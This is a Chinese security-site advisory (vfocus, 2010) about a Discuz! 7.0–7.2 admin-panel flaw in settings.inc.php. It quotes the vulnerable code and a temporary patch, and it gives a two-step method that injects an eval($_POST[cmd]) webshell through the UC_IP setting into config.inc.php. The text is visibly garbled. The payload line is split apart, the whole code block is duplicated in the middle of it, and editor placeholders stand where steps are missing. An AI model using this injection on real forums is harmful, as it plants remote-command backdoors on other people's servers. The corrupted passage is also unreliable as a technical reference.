首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
Discuz!7.0-7.2后台settings.inc.php中写shell漏洞
来源:vfocus.net 作者:vfocus 发布时间:2010-02-08  
影响版本
Discuz!7.0-7.2
漏洞详情:
if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) {
        $ucdbpassnew = $settingsnew['uc']['dbpass'] == '********' ? UC_DBPW : $settingsnew['uc']['dbpass'];
        if($settingsnew['uc']['connect']) {
            $uc_dblink = @mysql_connect($settingsnew['uc']['dbhost'], $settingsnew['uc']['dbuser'], $ucdbpassnew, 1);
            if(!$uc_dblink) {
                cpmsg('uc_database_connect_error', '', 'error');
            } else {
                mysql_close($uc_dblink);
            }
        }

        $fp = fopen('./config.inc.php', 'r');
        $configfile = fread($fp, filesize('./config.inc.php'));
        $configfile = trim($configfile);
        $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
        fclose($fp);

        $connect = '';
        if($settingsnew['uc']['connect']) {
            require './config.inc.php';
            $connect = 'mysql';
            $samelink = ($dbhost == $settingsnew['uc']['dbhost'] && $dbuser == $settingsnew['uc']['dbuser'] && $dbpw == $ucdbpassnew);
            $samecharset = !($dbcharset == 'gbk' && UC_DBCHARSET == 'latin1' || $dbcharset == 'latin1' && UC_DBCHARSET == 'gbk');
            $configfile = insertconfig($configfile, "/define\ ('UC_DBHOST',\s*'.*?'\);/i", "define('UC_DBHOST', '".$settingsnew['uc'] ['dbhost']."');");//正则表示从'到')中的被替换,而')可以被任意提交,from oldjun.com
            $configfile = insertconfig($configfile, "/define\('UC_DBUSER',\s*'.*?'\);/i", "define('UC_DBUSER', '".$settingsnew['uc']['dbuser']."');");
            $configfile = insertconfig($configfile, "/define\('UC_DBPW',\s*'.*?'\);/i", "define('UC_DBPW', '".$ucdbpassnew."');");
            $configfile = insertconfig($configfile, "/define\('UC_DBNAME',\s*'.*?'\);/i", "define('UC_DBNAME', '".$settingsnew['uc']['dbname']."');");
            $configfile = insertconfig($configfile, "/define\('UC_DBTABLEPRE',\s*'.*?'\);/i", "define('UC_DBTABLEPRE', '`".$settingsnew['uc']['dbname'].'`.'.$settingsnew['uc']['dbtablepre']."');");
            //$configfile = insertconfig($configfile, "/define\('UC_LINK',\s*'?.*?'?\);/i", "define('UC_LINK', ".($samelink && $samecharset ? 'TRUE' : 'FALSE').");");
        }
        $configfile = insertconfig($configfile, "/define\('UC_CONNECT',\s*'.*?'\);/i", "define('UC_CONNECT', '$connect');");
        $configfile = insertconfig($configfile, "/define\('UC_KEY',\s*'.*?'\);/i", "define('UC_KEY', '".$settingsnew['uc']['key']."');");
        $configfile = insertconfig($configfile, "/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".$settingsnew['uc']['api']."');");
        $configfile = insertconfig($configfile, "/define\('UC_IP',\s*'.*?'\);/i", "define('UC_IP', '".$settingsnew['uc']['ip']."');");
        $configfile = insertconfig($configfile, "/define\('UC_APPID',\s*'?.*?'?\);/i", "define('UC_APPID', '".$settingsnew['uc']['appid']."');");

        $fp = fopen('./config.inc.php', 'w');
        if(!($fp = @fopen('./config.inc.php', 'w'))) {
            cpmsg('uc_config_write_error', '', 'error');
        }
        @fwrite($fp, trim($configfile));
        @fclose($fp);
    }

settings.inc.php对提交的数据缺乏有效过滤,导致可以写入')污染配置文件的数据,而insertconfig函数的正则匹配无法正确匹配到最后,导致可以经过2次输入可以成功绕过daddslashes把shell写进配置文件。

function insertconfig($s, $find, $replace) {
if(preg_match($find, $s)) {
$s = preg_replace($find, $replace, $s); //正则匹配替换数据
} else {
$s .= "\r\n".$replace;
}
return $s;
}
 
 
测试方法:程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
步骤一:UC_IP(UC_IP是可选项,随便写入一般不影响程序运行)中写入污染数据:xxx');eval(影响版本
Discuz!7.0-7.2
漏洞详情:
if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) {
        $ucdbpassnew = $settingsnew['uc']['dbpass'] == '********' ? UC_DBPW : $settingsnew['uc']['dbpass'];
        if($settingsnew['uc']['connect']) {
            $uc_dblink = @mysql_connect($settingsnew['uc']['dbhost'], $settingsnew['uc']['dbuser'], $ucdbpassnew, 1);
            if(!$uc_dblink) {
                cpmsg('uc_database_connect_error', '', 'error');
            } else {
                mysql_close($uc_dblink);
            }
        }

        $fp = fopen('./config.inc.php', 'r');
        $configfile = fread($fp, filesize('./config.inc.php'));
        $configfile = trim($configfile);
        $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
        fclose($fp);

        $connect = '';
        if($settingsnew['uc']['connect']) {
            require './config.inc.php';
            $connect = 'mysql';
            $samelink = ($dbhost == $settingsnew['uc']['dbhost'] && $dbuser == $settingsnew['uc']['dbuser'] && $dbpw == $ucdbpassnew);
            $samecharset = !($dbcharset == 'gbk' && UC_DBCHARSET == 'latin1' || $dbcharset == 'latin1' && UC_DBCHARSET == 'gbk');
            $configfile = insertconfig($configfile, "/define\ ('UC_DBHOST',\s*'.*?'\);/i", "define('UC_DBHOST', '".$settingsnew['uc'] ['dbhost']."');");//正则表示从'到')中的被替换,而')可以被任意提交,from oldjun.com
            $configfile = insertconfig($configfile, "/define\('UC_DBUSER',\s*'.*?'\);/i", "define('UC_DBUSER', '".$settingsnew['uc']['dbuser']."');");
            $configfile = insertconfig($configfile, "/define\('UC_DBPW',\s*'.*?'\);/i", "define('UC_DBPW', '".$ucdbpassnew."');");
            $configfile = insertconfig($configfile, "/define\('UC_DBNAME',\s*'.*?'\);/i", "define('UC_DBNAME', '".$settingsnew['uc']['dbname']."');");
            $configfile = insertconfig($configfile, "/define\('UC_DBTABLEPRE',\s*'.*?'\);/i", "define('UC_DBTABLEPRE', '`".$settingsnew['uc']['dbname'].'`.'.$settingsnew['uc']['dbtablepre']."');");
            //$configfile = insertconfig($configfile, "/define\('UC_LINK',\s*'?.*?'?\);/i", "define('UC_LINK', ".($samelink && $samecharset ? 'TRUE' : 'FALSE').");");
        }
        $configfile = insertconfig($configfile, "/define\('UC_CONNECT',\s*'.*?'\);/i", "define('UC_CONNECT', '$connect');");
        $configfile = insertconfig($configfile, "/define\('UC_KEY',\s*'.*?'\);/i", "define('UC_KEY', '".$settingsnew['uc']['key']."');");
        $configfile = insertconfig($configfile, "/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".$settingsnew['uc']['api']."');");
        $configfile = insertconfig($configfile, "/define\('UC_IP',\s*'.*?'\);/i", "define('UC_IP', '".$settingsnew['uc']['ip']."');");
        $configfile = insertconfig($configfile, "/define\('UC_APPID',\s*'?.*?'?\);/i", "define('UC_APPID', '".$settingsnew['uc']['appid']."');");

        $fp = fopen('./config.inc.php', 'w');
        if(!($fp = @fopen('./config.inc.php', 'w'))) {
            cpmsg('uc_config_write_error', '', 'error');
        }
        @fwrite($fp, trim($configfile));
        @fclose($fp);
    }

settings.inc.php对提交的数据缺乏有效过滤,导致可以写入')污染配置文件的数据,而insertconfig函数的正则匹配无法正确匹配到最后,导致可以经过2次输入可以成功绕过daddslashes把shell写进配置文件。

function insertconfig($s, $find, $replace) {
if(preg_match($find, $s)) {
$s = preg_replace($find, $replace, $s); //正则匹配替换数据
} else {
$s .= "\r\n".$replace;
}
return $s;
}
 
 
___FCKpd___4
 
 
临时补丁:

在if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) {下添加:

    foreach($settingsnew['uc'] as $key => $value){
    $settingsnew['uc'][$key]=str_replace(')','',$value);
    }
POST[cmd])?>提交; 步骤二:UC_IP随便输入aaa,正则匹配只匹配到了'),于是自动把分号前的闭合了。
___FCKpd___5
___FCKpd___6
___FCKpd___7

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·Phpwind7.5 后台本地包含漏洞利
·MASA2EL Music City v1.0远程注
·Discuz插件《虚拟股市》blind In
·Shopxp v8.0 SQL Injection 0day
·Sablog-X v2.x 任意变量覆盖漏洞
·睛天电影系统注入漏洞
·OK3W v4.7文章管理系统漏洞
·Sablog-X 2.X 后台管理权限欺骗
·远程包含和本地包含漏洞的原理
·搜狗浏览器“页面欺骗”漏洞
·韩国gnuboard论坛漏洞EXP及使用
·鼎峰企业智能建站系统注入搜索注
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved